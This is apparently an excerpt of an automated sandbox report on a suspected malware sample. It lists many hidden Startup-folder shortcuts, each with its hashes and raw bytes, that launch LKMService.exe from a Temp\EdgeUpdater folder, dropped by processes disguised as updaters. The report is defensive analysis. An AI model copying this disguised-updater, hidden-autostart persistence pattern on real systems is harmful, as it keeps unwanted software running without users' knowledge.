Preview:	L..................F...."......P....m.UP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4fdd3c21ead4408daf5823c744170210.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:52 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936127793684116
Encrypted:	false
SSDEEP:	24:8pkRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pkRjr1R8AZjvgTyF
MD5:	4002E76593A27C36523081D67CEC16CA
SHA1:	29F1E5FF14095F8E67C0F26FB9DAAD1E27F8DD05
SHA-256:	7A8CBAD326907AB8038AE38CA3C1114437BA12F939E9CCDBE1A3ABD15533FF1C
SHA-512:	0589D7016CF07D6FBFDA25BA39F83FA045C6C5D57B8B2E73F60A11DE009CEAFAC3F81055EE193C6622401BC75652EE78AE815239CFE1985686E8599977CDED45
Malicious:	false
Preview:	L..................F...."......P....\.>P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_50b063bc160540a7950a6a8c30d9d6cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:02 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940224784279481
Encrypted:	false
SSDEEP:	24:8pHqRSCeYl1RogKrA5+W8Ajfv/42egvqyFm:8pKRzr1R8AZjvgTyF
MD5:	44FB7D1734955E5914E014AB5CC60D4F
SHA1:	92285DC1098A6B15B4B46509EAFBF7152910191C
SHA-256:	DDE4A84B36A88665C957BEA709276EB24D04A4D62A95749F99C6F2C0DFEA3156
SHA-512:	35BE1A55925CC558E5E6DFC7529AD4CD55974A0ED5063A0FEE3BB194D560763ACD61030A29A994B9A06BD555B808285605CC1BD5DF31ECBD34D4FCD230745E74
Malicious:	false
Preview:	L..................F...."......P......gP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......gP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_56861caf39d047a594a24b96a3ef7d20.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:19 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9420321340263795
Encrypted:	false
SSDEEP:	24:8pyRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pyRjr1R8AZjvgTyF
MD5:	A1C13D161275B7E23064D0D1FA4A5B73
SHA1:	1FF43D7A7AA5B97E121992C3010434E5BD2C5833
SHA-256:	41CE8D1ED5A06AF11D31BD8DE3E5F915CC091A00C4BAF71D35F6991251BEA68E
SHA-512:	F6C0FC47312205BFB8480A1AF8FF7E2A3A5EC6EB3C281FA2E13D21C3FDAB47942124479D6CA97989AFE023CEF047C7EEBAB8DDB75CD56160B9800552553F7B80
Malicious:	false
Preview:	L..................F...."......P......*P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_57e4af9a92374b1ab3386fa9fa0b2365.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:10 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941220856862383
Encrypted:	false
SSDEEP:	24:8pLRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pLRfr1R8AZjvgTyF
MD5:	84C559D96D48A76E670F20852F64B223
SHA1:	9426A027A6A0A3D82C3DA7642F76D7A4484FDA72
SHA-256:	0A6F2E760355C1DFB26AE670AD9007EAFF1133E1A0CF38EEE9480CDAFA24A940
SHA-512:	E5A32A60C0217910689D20E723748FA22EA83ADCA01A75B395D3072352F6B83982D2DEB1B0877E9122FE38A882ED2FBE0B636E9A33719A0F16C7BCBAFD2EC70E
Malicious:	false
Preview:	L..................F...."......P....!.lP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_596193a42f0a43ae9dcad375648995a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:04 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937641190129444
Encrypted:	false
SSDEEP:	24:8pDRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pDRjr1R8AZjvgTyF
MD5:	4279F81665A1FF95A59CC9BBFF116D4C
SHA1:	8D45CB2A4890B60A3C5E8D13E7F8CD3AB09EE41C
SHA-256:	A06FC2428ED0EE57C3CC85B81917BFC3ECE15D118EC2D906BF1F37669DD5CE8B
SHA-512:	8DDD8A314415143CAAAD52E892E913B3125264A0F18B7CCC11C6B47893A55B36DD60ED47BB4C3F2EA8F66DF750586F11CC6BBF63D0EC769A6608AA57DDFC7C17
Malicious:	false
Preview:	L..................F...."......P.....!P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5a4a50916973408ead1e547cb01eafdc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:22 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.947977603695255
Encrypted:	false
SSDEEP:	24:8pNqRrCeYl1RogKrA5+W8Ajfv/42egvqyFm:8p4RrCr1R8AZjvgTyF
MD5:	4AFB9777372103DB79218C830B4AFD85
SHA1:	5F7170F69FD22BC33E69067AE2C1231A8FB465A6
SHA-256:	4BA5F86969AA565F5FF1AA69940975AE30170A5D5CB471E6FA6B56348A924D4F
SHA-512:	3E9707C7AC23E14EED5B48C2298FEC5BD9412B05EFF9FCB5E28C4AC71D6FDB79C15BF2CEFB80AB9DF660AD56CC0AD5B0043C2EC5AED2F6ED6255F6A9AF48154B
Malicious:	false
Preview:	L..................F...."......P.....OP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...:.NP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5b50692f0eb542fc82e477637a3c95e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:02 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94734056782845
Encrypted:	false
SSDEEP:	24:8ppRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8ppRBr1R8AZjvgTyF
MD5:	61B75BEB72898B57AA1B330AE1DA0D66
SHA1:	C1C8587ED70D7D1C07C5CBB070CD2441FAC700E8
SHA-256:	3413671C07693381A2844F11E898FEB68D43B9D403D728741971E13AD5ECD8D0
SHA-512:	C17EB332DBBA62E01CFA4D62394E9EF2AD7CB74BC8C4F2C198904A7AF4EE47C7A5E6BAD346D64882DE9A11835DB6ED1EED3F7D6617F4B45A8135C917EE3FA044
Malicious:	false
Preview:	L..................F...."......P..... P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5b8c9e27885442bd89a02ee583af0859.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:05 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945631005339875
Encrypted:	false
SSDEEP:	24:8p7RSCeYl1RogKrA5+W8Ajfv/42egvqyFm:8p7Rzr1R8AZjvgTyF
MD5:	B48EEC6AC02C76E4D029D5664827B91C
SHA1:	E3BAE7F6409C12AABF400C627F34BC031EF72085
SHA-256:	82A2F7F4D9C7BCC02927875D1423454EE05584CA95CD629CEF599570F623B9C2
SHA-512:	DF1FE76E2883E1D3FDC6F318EAFB8E48EBF5B295BAB6DCD4E6A71CF8F041D1367649F01ACFEC4DF1BC523E174EC28F87301AA17E2178EA09AE06D0F62C603659
Malicious:	false
Preview:	L..................F...."......P......iP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......gP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5f854f00a78f4123bec07a2538a7dbef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:19 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939505789334657
Encrypted:	false
SSDEEP:	24:8pZRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pZRkr1R8AZjvgTyF
MD5:	F46B50D002CFD4616D9696FC3DFED91A
SHA1:	249A0C303EC0281BB13076632A470258B55BC4B8
SHA-256:	037A92A29A0108CAD4CDCAEE7C2AEAA8DACC967DC802FCAAC1B3FFEFCA2E536A
SHA-512:	715310184EB36041B13274471CE06863166662D5820E00EEA0A5867B8FF01CB86D53B6ADCB7383CB67D56A2D79C99455A09CC4E8D1D48E28D79ACD023F42FA7E
Malicious:	false
Preview:	L..................F...."......P...\|t..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6023d90ba84e4cc287bbd7dad0b0f370.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:54 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94235529176726
Encrypted:	false
SSDEEP:	24:8pEvRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8poRAr1R8AZjvgTyF
MD5:	8019285787625E699757E9231C4B78D4
SHA1:	E124B593EACA3F969D4034415119BE778BABE838
SHA-256:	148A6FB591E69A6743262DD69E537FE12076DC98DA96A4556AA6282BDA12BA72
SHA-512:	AA8AEDDDF8D388BE366DBA8BC353D7526C674A6BA859BE0A7BC00936274B5AABB8FCADE1ABC8A82478257970509D373CFA3AF039DDD97450BAF233BDE3C77B59
Malicious:	false
Preview:	L..................F...."......P....1.cP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_60b87a4435fa46038c0b62cc0d3511f4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:03 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941395098159576
Encrypted:	false
SSDEEP:	24:8pRRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRjr1R8AZjvgTyF
MD5:	253A960D8F883C232DF5C8F38602B312
SHA1:	CF69EA42BA4ED28EEE8CC4B6D1E0BE7C52149CAC
SHA-256:	6C19FAECE89829B56B30F773BC1E3A65F478E60FC0D1A22AEF61391844C86031
SHA-512:	EE43B531E4043C7D972431181000FCCFB1242665CFF681295605A025801CB6420FB74EEA15663F137DFAD09126AD8DD2A0B8C87987BFCFD4BB0B6A9B64012DBB
Malicious:	false
Preview:	L..................F...."......P...JR. P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_619c5004471c4a2e938c1cf940f0681c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:32 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938019710040734
Encrypted:	false
SSDEEP:	24:8p+RkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p+Rkr1R8AZjvgTyF
MD5:	6007631CDDA26650BC0696D62DF9DA57
SHA1:	A0722B93EC03C709A0462F1DF965E6B978182B92
SHA-256:	E88551A8D056C4959369AE95BC54635D50F888F3131225F87E71A2A1B2642301
SHA-512:	EFA5C59ED2352BC77B51619F67461DC27370341C1163A04FB7AF126471E018D3A4D979B89D41FB3AE7A8A56CE85943376BCACD4FD737181A9560B7C3F8D5390A
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_620a46450f79496ba4eff1761b5fc9f5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:22 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937352902134903
Encrypted:	false
SSDEEP:	24:8pkRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pkRkr1R8AZjvgTyF
MD5:	CE44AFCFE4D69F80180630809D1B9D4A
SHA1:	EAA1CAC9FBE2A48AD171C92343BDDDFE6C1141D3
SHA-256:	83F0CDAD41F9B7F34328AEF11BE709543ED2E548DA4293AC71293A45D8AFFD0E
SHA-512:	A99B29E4121D34FEA5046377749C7E411BD2A8C565594BA8D535F473005B0C6183A609A9674EDC2F999DE68FBA8E4A9532E8524D832F3A7788C26B5F06C99837
Malicious:	false
